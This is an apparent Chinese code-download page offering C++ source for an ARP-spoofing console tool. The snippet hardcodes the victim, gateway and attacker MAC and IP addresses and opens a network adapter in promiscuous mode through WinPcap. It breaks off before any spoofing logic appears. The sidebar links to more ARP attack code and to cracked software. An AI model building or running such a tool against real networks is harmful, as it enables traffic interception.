资源简介
arp欺骗原理及实现 用c++实现 无界面控制台程序
代码片段和文件信息
#include
#include
#include “arp_spoof.h“
const unsigned char VICTIM_MAC[MAC_LEN] = {0x00 0x21 0x00 0x38 0xD4 0xC4}; //被攻击方的MAC
const unsigned char GATEWAY_MAC[MAC_LEN] = {0xC0 0x3F 0x0E 0xB8 0x36 0x1C}; //网关的MAC
const unsigned char FAKE_MAC[MAC_LEN] = {0x00 0x21 0x5D 0x1E 0x9B 0xE2}; //攻击者的MAC
const char VICTIM_IP[] = “10.0.0.8“; //被攻击方IP
const char GATEWAY_IP[] = “10.0.0.1“; //网关IP
char errbuf[PCAP_ERRBUF_SIZE];
//选择网卡
int select_adapter(pcap_t **handle) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
/* Retrieve the device list */
if(pcap_findalldevs(&alldevs errbuf) == -1)
{
fprintf(stderr“Error in pcap_findalldevs: %s\n“ errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf(“%d. %s“ ++i d->name);
if (d->description)
printf(“ (%s)\n“ d->description);
else
printf(“ (No description available)\n“);
}
if(i==0)
{
printf(“\nNo interfaces found! Make sure WinPcap is installed.\n“);
return -1;
}
printf(“Enter the interface number (1-%d):“i);
scanf(“%d“ &inum);
if(inum < 1 || inum > i)
{
printf(“\nInterface number out of range.\n“);
/* Free the device list */
pcap_freealldevs(alldevs);
return -1;
}
/* Jump to the selected adapter */
for(d=alldevs i=0; i< inum-1 ;d=d->next i++);
/* Open the device */
/* Open the adapter */
if ((*handle= pcap_open_live(d->name // name of the device
65536 // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
PCAP_OPENFLAG_PROMISCUOUS // promiscuous mode (nonzero means promiscuous)
1000 // read timeout
errbuf // error buffer
)) == NULL)
{
fprintf(stderr“\nUnable to open the adapter. %s is not supported by WinP
- 上一篇:扫雷辅助程序.zip
- 下一篇:c++迷宫最短路径寻径算法
相关资源
- Linux下C语言操作静态ARP表,包括增加
- 使用itextsharp.dll把两个pdf文件合并成一
- 使用ARP协议获取局域网内部活动主机
- 发送ARP请求
- 基于Skinsharp的MFC界面美化(破解版含
- ARP协议获取所有局域网内活动主机的
- (VC)MFC Skinsharp换肤套装(lib+dll+h+编
- SkinSharp开发库+百款皮肤+皮肤编辑器
- VB皮肤控件 SkinSharp (SkinH_VB6.dll 破解
- SkinSharp静态库完善破解版
- 使用ARP协议获取局域网内活动主机物
- C#_IFC_Viewer_Editor 最新Csharp源码 2017_
- C# Csharp 调用 C++的DLL中的回调函数
- Skinsharp+最新破解版+150个皮肤
- Skinsharp-VS2013可用
- opencvsharp-20个
- 基于winpcap的ARP发送程序
- 计算机网络课设之解析ARP数据包
- RPP算法-RobustPlanarPose-C++
- ARP数据包的解析
- 一个聊天室,支持文件传输
- MFC美化-SkinSharp库使用方法和经典例程
- C语言实现ARP攻击
- 局域网活动主机扫描程序
- CefSharp - 最火热的 Winform 使用 Webkit 内
- C# 调用c++ 库 参数为指针类型导出函数
- arp攻击c++代码
- ARP协议的c语言实现源代码
- freetype_CSharp_Library.rar
- iarpatcher32.zip
评论
共有 条评论